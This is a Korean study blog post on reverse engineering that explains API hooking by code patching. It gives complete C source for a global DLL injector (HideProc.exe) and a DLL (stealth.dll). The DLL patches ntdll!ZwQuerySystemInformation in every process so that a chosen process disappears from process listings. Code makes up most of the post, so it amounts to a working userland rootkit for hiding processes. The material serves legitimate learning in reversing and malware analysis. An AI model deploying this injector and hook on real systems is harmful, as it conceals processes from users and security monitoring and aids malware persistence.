security/리버싱핵심원리

API 코드 패치를 이용한 API hooking - notepad.exe 프로세스 은폐하기 (1)

민사민서 2023. 4. 1. 19:13

API 코드 패치 방법

- API 코드 시작 5바이트 값을 JMP xxxxxxxx 명령어(후킹 함수로 점프)로 패치

- 후킹하려는 API 코드의 길이가 최소 5바이트보다 커야 한다

- 반복적인 unhook/hook으로 성능 저하

- 멀티스레드 환경에서 프로세스의 다른 thread에서 해당 API를 read하고 있을 때 코드 패치를 시도하면 Access Violation Error 발생할 수 있음 (스레드 간 충돌)

=> 핫 패치 방식 (7바이트 코드 패치)

- API 코드 바로 위에 5바이트의 'NOP' 명령어 존재하고 'MOV EDI, EDI' 명령어로 시작하는 API에 한해 가능

- API 코드 직전 5바이트를 FAR JMP 명령어로 변경(사용자 후킹 함수로 점프)

- API 시작 코드 2바이트를 SHORT JMP 명령어(EB F9, 7byte 전으로 jmp)로 변경(FAR JMP 명령어로 점프)

- unhook/hook 과정 생략 가능, [API시작+2] 주소를 통해 원본 API 호출 가능

 

HideProc.exe 코드 구현

// HideProc.exe
#include "stdio.h"
#include "tchar.h"
#include "windows.h"
#include "tlhelp32.h"

#define INJECTION_MODE 0
#define EJECTION_MODE 1
typedef void(*PFSETPROCNAME)(LPCTSTR);

BOOL InjectDll(DWORD dwPID, LPCTSTR szDllPath) {
	HANDLE hProcess = NULL, hThread = NULL;
	LPVOID pRemoteBuf = NULL;
	DWORD dwBufSize = (DWORD)(wcslen(szDllPath)+1) * sizeof(TCHAR);
	LPTHREAD_START_ROUTINE pThreadProc;

	if( !(hProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID)) ) {
		_tprintf(L"OpenProcess(%d) failed!!! [%d]\n", dwPID, GetLastError());
		return FALSE;
	}

	pRemoteBuf = VirtualAllocEx(hProcess, NULL, dwBufSize, MEM_COMMIT, PAGE_READWRITE);
	WriteProcessMemory(hProcess, pRemoteBuf, (LPVOID)szDllPath, dwBufSize, NULL);
	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");

	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, pRemoteBuf, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);

	VirtualFreeEx(hProcess, pRemoteBuf, 0, MEM_RELEASE);

	CloseHandle(hThread);
	CloseHandle(hProcess);

	return TRUE;
}

BOOL EjectDll(DWORD dwPID, LPCTSTR szDllPath) {
	HANDLE hSnapshot, hProcess, hThread;
	MODULEENTRY32 me; // defined as MODULEENTRY32W
	LPTHREAD_START_ROUTINE pThreadProc;
	BOOL bFound=FALSE;

	me.dwSize = sizeof(MODULEENTRY32);
	if((hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwPID)) == INVALID_HANDLE_VALUE)
		return FALSE;

	if(Module32First(hSnapshot, &me)) {
		do {
			if(!_tcsicmp(me.szExePath, szDllPath)) {
				bFound = TRUE;
				break;
			}
		} while(Module32Next(hSnapshot, &me));
	}

	if(!bFound) {
		CloseHandle(hSnapshot);
		return FALSE;
	}

	if(!(hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID))) {
		_tprintf(L"OpenProcess(%d) failed!! [%d]\n", dwPID, GetLastError());
		return FALSE;
	}

	pThreadProc = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "FreeLibrary");
	hThread = CreateRemoteThread(hProcess, NULL, 0, pThreadProc, me.modBaseAddr, 0, NULL);
	WaitForSingleObject(hThread, INFINITE);

	CloseHandle(hThread);
	CloseHandle(hProcess);
	CloseHandle(hSnapshot);

	return TRUE;
}


BOOL InjectAllProcess(int nMode, LPCTSTR szDllPath) {
	DWORD dwPID = 0;
	HANDLE hSnapshot = INVALID_HANDLE_VALUE;
	PROCESSENTRY32 pe; // defined as PROCESSENTRY32W

	pe.dwSize = sizeof(PROCESSENTRY32);
	hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);

	if(Process32First(hSnapshot, &pe)) {
		do {
			dwPID = pe.th32ProcessID;
			// PID<100인 시스템 프로세스에는 인젝션 하지 않는다
			if(dwPID<100)
				continue;

			if(nMode == INJECTION_MODE)
				InjectDll(dwPID, szDllPath);
			else
				EjectDll(dwPID, szDllPath);
		} while(Process32Next(hSnapshot, &pe));
	}
	CloseHandle(hSnapshot);

	return TRUE;
}

BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
	TOKEN_PRIVILEGES tp;
	HANDLE hToken;
	LUID luid;

	if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) {
		_tprintf(L"OpenProcessToken error: %u\n", GetLastError());
		return FALSE;
	}

	if(!LookupPrivilegeValue(NULL, lpszPrivilege, &luid)) {
		_tprintf(L"LookupPrivilegeValue error: %u\n", GetLastError());
		return FALSE;
	}

	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	if(bEnablePrivilege)
		tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	else
		tp.Privileges[0].Attributes = 0;

	if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL)) {
		_tprintf(L"AdjuestTokenPrivileges error: %u\n", GetLastError());
		return FALSE;
	}

	if(GetLastError()==ERROR_NOT_ALL_ASSIGNED) {
		_tprintf(L"The token does not have the specified privilege.\n");
		return FALSE;
	}

	return TRUE;
}

int _tmain(int argc, TCHAR* argv[]) {
	TCHAR szExePath[MAX_PATH] = {0,};
	TCHAR* ptr;
	LPCTSTR szDllPath;
	HMODULE hMod;
	PFSETPROCNAME SetProcName;

	if(argc!=4) {
		wprintf(L"USAGE : %s <-hide|-show> <process name> <dll path>\n", argv[0]);
		return 1;
	}
	if(!SetPrivilege(SE_DEBUG_NAME, TRUE)) {
		wprintf(L"Failed to set privilege\n");
		return 1;
	}
	szDllPath = argv[3];
	if(!wcsrchr(szDllPath, L'\\')) { // dll 이름뿐인 경우 full path로 만들어서
		GetModuleFileName(NULL, szExePath, MAX_PATH);
		ptr = wcsrchr(szExePath, L'\\');
		wcscpy_s(ptr+1, wcslen(argv[3])+1, argv[3]);
		szDllPath = szExePath;
	}
	
	hMod = LoadLibrary(szDllPath);
	SetProcName = (PFSETPROCNAME)GetProcAddress(hMod, "SetProcName");
	SetProcName(argv[2]);

	if(!_wcsicmp(argv[1], L"-hide")) {
		InjectAllProcess(INJECTION_MODE, szDllPath);
	}
	else if(!_wcsicmp(argv[1], L"-show")) {
		InjectAllProcess(EJECTION_MODE, szDllPath);
	}
	else {
		wprintf(L"Invalid option\n");
	}
	
	FreeLibrary(hMod);

	return 0;
}

- 기존 InjectDll + EjectDll + SetPrivilege 함수에 InjectAllProcess() 함수만 추가됨

- 전체 프로세스에 대한 스냅샷을 찍은 뒤 PID>100인 프로세스에 전부 DLL Injection / Ejection 하는 함수임

- _tmain 에서 4번째 input으로 dll name 들어올 시 전체 경로로 변환해주는 루틴 추가함

 

stealth.dll 코드 구현

// stealth.dll
#include "windows.h"
#include "tchar.h"

#define DEF_NTDLL "ntdll.dll"
#define DEF_ZWQUERYSYSINFO "ZwQuerySystemInformation"
#define STATUS_SUCCESS (0x00000000L)

typedef LONG NTSTATUS;
typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemBasicInformation = 0,
    SystemPerformanceInformation = 2,
    SystemTimeOfDayInformation = 3,
    SystemProcessInformation = 5,
    SystemProcessorPerformanceInformation = 8,
    SystemInterruptInformation = 23,
    SystemExceptionInformation = 33,
    SystemRegistryQuotaInformation = 37,
    SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    BYTE Reserved1[48];
    PVOID Reserved2[3];
    HANDLE UniqueProcessId;
    PVOID Reserved3;
    ULONG HandleCount;
    BYTE Reserved4[4];
    PVOID Reserved5[11];
    SIZE_T PeakPagefileUsage;
    SIZE_T PrivatePageCount;
    LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef NTSTATUS(WINAPI *PFZWQUERYSYSTEMINFORMATION)(SYSTEM_INFORMATION_CLASS,PVOID,ULONG,PULONG);

// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
	TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()

// global variable
BYTE g_pOrgBytes[5] = {0,};

BOOL hook_by_code(LPCSTR szDllName, LPCSTR szFuncName, FARPROC pfnNew, PBYTE pOrgBytes) {
	FARPROC pfnOrg;
	DWORD dwOldProtect, dwAddr;
	BYTE pBuf[5] = {0xE9, 0, };

	// 후킹 대상 API 주소 구하기
	pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);

	// if already hooked - return false
	if(*((BYTE*)pfnOrg) == 0xE9)
		return FALSE;

	VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	// 기존 코드 백업
	memcpy(pOrgBytes, pfnOrg, 5);

	// 5바이트 패치 코드 만들기
	dwAddr = (DWORD)pfnNew - ((DWORD)pfnOrg+5);
	memcpy(&pBuf[1], &dwAddr, 4);

	// hook by code patch
	memcpy(pfnOrg, pBuf, 5);

	VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, NULL);

	return TRUE;
}

BOOL unhook_by_code(LPCSTR szDllName, LPCSTR szFuncName, PBYTE pOrgBytes) {
	FARPROC pFunc;
	DWORD dwOldProtect;

	pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
	
	// if already unhooked - return false
	if(*((BYTE*)pFunc)!=0xE9)
		return FALSE;

	VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

	// unhook by code patch
	memcpy(pFunc, pOrgBytes, 5);

	VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, NULL);

	return TRUE;
}

NTSTATUS WINAPI NewZwQuerySystemInformation(SYSTEM_INFORMATION_CLASS sysInfoClass, PVOID sysInfo, ULONG lenSysInfo, PULONG retLen) {
	NTSTATUS status;
	FARPROC pFunc;
	PSYSTEM_PROCESS_INFORMATION pCur, pPrev;

	// unhook
	unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, g_pOrgBytes);

	// original API
	pFunc = GetProcAddress(GetModuleHandleA(DEF_NTDLL), DEF_ZWQUERYSYSINFO);
	status = ((PFZWQUERYSYSTEMINFORMATION)pFunc)(sysInfoClass, sysInfo, lenSysInfo, retLen);

	if(status != STATUS_SUCCESS)
		goto __NTQUERYSYSTEMINFORMATION_END;

	// 첫번째 인자가 SystemProcessInformation(5)인 경우만 작업함
	if(sysInfoClass == SystemProcessInformation) {
		// pCur: single linked SYSTEM_PROCESS_INFORMATION 구조체 리스트의 시작 주소
		pCur = (PSYSTEM_PROCESS_INFORMATION)sysInfo;

		while(TRUE) {
			// 프로세스 이름 비교 (g_szProcName은 SetProcName()에서 세팅된 은폐할 프로세스 이름)
			if(pCur->Reserved2[1]!=NULL) {
				if(!_wcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName)) {
					// 은폐할 프로세스의 노드 제거
					if(pCur->NextEntryOffset == 0)
						pPrev->NextEntryOffset = 0;
					else
						pPrev->NextEntryOffset += pCur->NextEntryOffset;
				}
				else {
					pPrev = pCur;
				}
			}
			if(pCur->NextEntryOffset == 0)
				break;

			// 연결 리스트의 다음 항목
			pCur = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pCur + pCur->NextEntryOffset);
		}
	}
__NTQUERYSYSTEMINFORMATION_END:
	// hook again
	hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, (PROC)NewZwQuerySystemInformation, g_pOrgBytes);

	return status;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) {
	char szCurProc[MAX_PATH] = {0,};
	char* p = NULL;

	GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
	p = strrchr(szCurProc, '\\');
	if(p!=NULL && !_stricmp(p+1, "HideProc.exe")) {
		// Inject된 (현재) 프로세스가 HideProc.exe라면 후킹하지 않고 종료
		return TRUE;
	}

	switch(fdwReason) {
	case DLL_PROCESS_ATTACH:
		hook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, (FARPROC)NewZwQuerySystemInformation, g_pOrgBytes);
		break;
	case DLL_PROCESS_DETACH:
		unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSINFO, g_pOrgBytes);
		break;
	}

	return TRUE;
}

// export function
extern "C" __declspec(dllexport) void SetProcName(LPCTSTR szProcName) {
	_tcscpy_s(g_szProcName, szProcName);
}

- 5바이트 코드 패치를 통해 ntdll!ZwQuerySystemInformation API를 후킹함

- 공유 메모리 섹션을 만들어 버퍼를 생성하고, export 함수를 통해 은폐 프로세스 이름을 저장한다는 특징

- 공유 메모리 섹션을 만들고 전역 변수(버퍼)를 선언하는 코드는 "코드 맨 처음"에 있어야 함. 일반 전역 변수처럼 사용 전에 선언되어 있어야 하기 때문.

 

새롭게 알게 된 점

1. #pragma 문법 정리

#pragma comment()

기본적인 pragma comment()의 형식은 다음과 같다.

#pragma comment( comment-type, ["comment string"] )

- comment type에는 compiler, exestr, lib, linker, user 등이 올 수 있다.

- [] 안의 구문은 comment-type에 따라 필요할 경우 사용하는 것이다.

 

1. 가장 대표적인 사용법은 명시적인 라이브러리의 링크이다.

#pragma comment(lib, "xxxx.lib")

2. 또한 섹션의 설정도 할 수 있다.

#pragme comment( linker, "SECTION:.SHAREDATA,RWS" )

#pragma data_seg("SHAREDATA") 와 함께 사용하여 공유 메모리를 생성한다.

 

#pragma data_seg()

pragma data_seg()의 형식은 다음과 같다.

#pragma data_seg( ["section-name"[, "section-class"] ] )

- DLL을 Application(EXE)이나 다른 DLL과 연동하여 사용할때 쓴다.

- 후킹목적의 DLL이 타겟 프로세스에 injected되어 있다면 '공유섹션'을 이용하여 데이터를 전달할 수 있다

- DLL 내부에서 생성한 데이터(메모리)를 외부 프로세스에서 공유할 때 사용할 수 있다

  => stealth.dll에선 외부 프로세스에서 g_szProcName을 세팅할 수 있게 하기 위해!!

#pragma data_seg( "SHAREDATA" )
 int g_nCnt = 0;
 char g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()

- #pragma data_seg("SHAREDATA) 를 통해 SHAREDATA 세그먼트의 시작을 선언한다 (세그먼트 이름은 자유롭게~)

- 공유섹션에 저장할 변수를 선언한다. 여러 개 선언 가능하다

- #pragma data_seg() 를 통해 SHAREDATA 세그먼트의 종료를 선언한다.

- 종료 선언 후 선언되는 것은 공유 메모리 섹션에 저장되지 않는다!

- 이 명령어는 필수적으로 #pragment comment( linker, "SECTION:.SHAREDATA,RWS") 와 함께 사용되어야 한다

- SHAREDATA라는 이름의 공유 메모리 섹션을 Read,Write,Shared로 만든다는 뜻

 

// global variable (in sharing memory)
#pragma comment(linker, "/SECTION:.SHARE,RWS")
#pragma data_seg(".SHARE")
	TCHAR g_szProcName[MAX_PATH] = {0,};
#pragma data_seg()

[Line 1]
링커에게 지정된 섹션 이름(".SHARE")으로 새로운 섹션을 생성하고, 이를 읽기/쓰기/공유(RWS) 모드로 설정
[Line 2]
이후의 전역 변수들이 ".SHARE"라는 이름의 섹션(공유 메모리 영역)에 위치하도록 지시
[Line 3]
전역 변수 g_szProcName을 선언하고 초기화. 이 변수는 ".SHARE" 섹션에 위치
[Line 4]
데이터 세그먼트 지시자를 기본 값으로 복원. 이 지시자 이후에 선언되는 전역 변수들은 공유 메모리 영역이 아닌 일반적인 데이터 섹션에 위치하게 됨

 

2. 5바이트 코드 패치 구현 흐름: hook_by_code & unhook_by_code

- hook_by_code 흐름

// 후킹 대상 API 주소 구함
pfnOrg = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
// 메모리 보호 변경
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 기존 코드 백업
memcpy(pOrgBytes, pfnOrg, 5);
// 패치 코드 생성 (JMP Offset 계산)
dwAddr = (DWORD)pfnNew - ((DWORD)pfnOrg+5);
memcpy(&pBuf[1], &dwAddr, 4);
// 코드 패치 진행
memcpy(pfnOrg, pBuf, 5);
// 메모리 보호 복원
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, NULL);

- unhook_by_code 흐름

// API 주소 구함
pFunc = GetProcAddress(GetModuleHandleA(szDllName), szFuncName);
// 메모리 보호 변경
VirtualProtect((LPVOID)pFunc, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
// 첫 5바이트 복원
memcpy(pFunc, pOrgBytes, 5);
// 메모리 보호 복원
VirtualProtect((LPVOID)pFunc, 5, dwOldProtect, NULL);